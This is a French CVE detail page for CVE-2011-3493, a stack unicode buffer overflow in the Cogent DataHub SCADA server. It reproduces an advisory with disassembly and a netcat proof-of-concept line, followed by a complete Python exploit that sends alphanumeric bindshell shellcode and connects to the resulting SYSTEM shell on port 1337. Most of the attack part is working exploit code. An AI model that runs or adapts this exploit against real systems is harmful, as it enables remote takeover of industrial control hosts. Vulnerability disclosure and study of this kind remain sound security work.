CVE-2011-3493 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

####################################################################### Luigi Auriemma Application: Cogent DataHub http://www.cogentdatahub.com/Products/Cogent_DataHub.html Versions: <= 7.1.1.63 Platforms: Windows Bug: stack unicode overflow Exploitation: remote Date: 13 Sep 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== DataHub is a software for the SCADA and automation sector. ####################################################################### ====== 2) Bug ====== The server/service listens on the ports 4052 and 4053, the only difference is that the second port uses SSL while the first one is in plain-text. Stack-based unicode buffer-overflow in the "DH_OneSecondTick" function exploitable through the "domain", "report_domain", "register_datahub", "slave" and some other commands: 00440442 |. 50 |PUSH EAX ; string 00440443 |. 68 64854900 |PUSH CogentDa.00498564 ; "Domain" 00440448 |. 8D8D 00FFFFFF |LEA ECX,DWORD PTR SS:[EBP-100] 0044044E |. 68 A42F4900 |PUSH CogentDa.00492FA4 ; "%s.%s" 00440453 |. 51 |PUSH ECX ; stack buffer 00440454 |. FF15 B4F44800 |CALL DWORD PTR DS:[<&MSVCR90._swprintf>] ####################################################################### =========== 3) The Code =========== http://aluigi.org/poc/cogent_1.dat https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17838.dat nc SERVER 4052 < cogent_1.dat port 4053 uses the same protocol via SSL. ####################################################################### ====== 4) Fix ====== No fix. #######################################################################

#!/usr/bin/python # # Cogent Datahub <= v7.1.1.63 Remote Unicode Buffer Overflow Exploit # tested on: # - windows server 2003 # - windows XP sp3 # questions >> @net__ninja || @luigi_auriemma # example usage: # [mr_me@neptune cognet]$ ./cognet_overflow.py 192.168.114.130 # # ----------------------------------------------------- # ------ Cogent Datahub Unicode Overflow Exploit ------ # ------------- Found by Luigi Auriemma --------------- # --------- SYSTEM exploit by Steven Seeley ----------- # # (+) Sending overflow... # (+) Getting shell.. # Connection to 192.168.114.130 1337 port [tcp/menandmice-dns] succeeded! # Microsoft Windows [Version 5.2.3790] # (C) Copyright 1985-2003 Microsoft Corp. # # C:\Program Files\Cogent\Cogent DataHub\plugin\TCPMaster>whoami # whoami # nt authority\system # # C:\Program Files\Cogent\Cogent DataHub\plugin\TCPMaster> import socket,time,sys,os # bindshell on port 1337 shellcodez = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQA" "IAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1" "111AIAJQI1AYAZBABABABAB30APB944JBKLQZJKPMK8JYKOKOKOQPTK" "2LMTMTDKOUOLTKCLKUT8M1JOTKPOLXTKQOMPM1JKOY4KNTTKM1JNNQ9" "04Y6LU4I0D4M77QHJLMKQ92ZKL4OK0TMTO8BUIUTK1OO4KQZK1VDKLL" "PKTKQOMLM1ZKM3NLTKU9RLMTMLQQ7SNQ9KQTTK0CNP4KOPLL4KRPMLV" "M4KOPLHQN384NPNLNJLPPKOJ6QVPSQVQX03OBRHT7RSNR1OB4KO8PBH" "XKZMKLOKR0KOHVQOU9YU1VE1JMM8KRB5QZLBKOXPBH8YM9JUFMQGKOZ" "6PSPSR30SQCPC23PCPSKOXPC6RHKUP936PSSYYQV5QX5TMJ40GWPWKO" "8VRJLPR1R5KOHPQXG4VMNNIY0WKOZ6QC25KOXPBH9U19U6OY27KO9FP" "PR4R41EKOXPUC1X9W49GVRYPWKO8V0UKOXP1VQZRD2FQXQSBMU9YUQZ" "0PPYNI8LTI9W2J14U9K201GPKCUZKNORNMKNPBNL63TM2ZNXVKFK6KQ" "XBRKNVSN6KOT5Q4KOIFQK0WB2PQ0Q0Q1ZM1PQR1PUR1KOXPRHVMJ9KU" "8NQCKOHVQZKOKO07KOZ0DK0WKLTCWTRDKOHV0RKO8P38JPTJKTQOR3K" "O8VKO8PKZA") align= "" align += "\x54" # push esp align += "\x6f" align += "\x58" # pop eax align += "\x6f" align += "\x05\x6f\x11" # add eax,11006f00 align += "\x6f" align += "\x2d\x37\x01" # sub eax,01003700 align += "\x6f" align += "\x2d\x37\x10" # sub eax,11003700 align += "\x6f" align += "\x50" # push eax align += "\x6f" align += "\x48" # dec eax align += "\x6f" align += "\x48" # dec eax align += "\x6f" align += "\x55" # push ebp align += "\x6f" align += "\x59" # pop ecx align += "\x08" # add [eax],cl (carve a 'RETN' onto the stack) align += "\x6f" align += "\x40" # inc eax align += "\x6f" align += "\x40" # inc eax align += "\x6f\x41" * (48) # inc ecx (will not effect to our payload) align += "\x6f" align += "\x62" # becomes our carved RETN on the stack (0x61+0x62=0xc3) request = "(domain \"" request += "\x61" * 1019 request += "\x7f\x55" # jmp esp 0x0055007f request += align request += shellcodez request += "\")\r\n" def banner(): banner = "\n-----------------------------------------------------\n" banner += "------ Cogent Datahub Unicode Overflow Exploit ------\n" banner += "------------- Found by Luigi Auriemma ---------------\n" banner += "--------- SYSTEM exploit by Steven Seeley -----------\n" return banner if len(sys.argv) < 2: print banner() print "(-) Usage: %s <target addr> " % sys.argv[0] sys.exit(0) target = sys.argv[1] print banner() s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((target,4502)) except: print "[-] Connection to %s failed! % (target)" sys.exit(0) print "(+) Sending overflow..." s.send(request) s.recv(1024) # wait for the target, sheesh. time.sleep(2) print "(+) Getting shell.." os.system("nc -vv %s 1337" % target) s.close()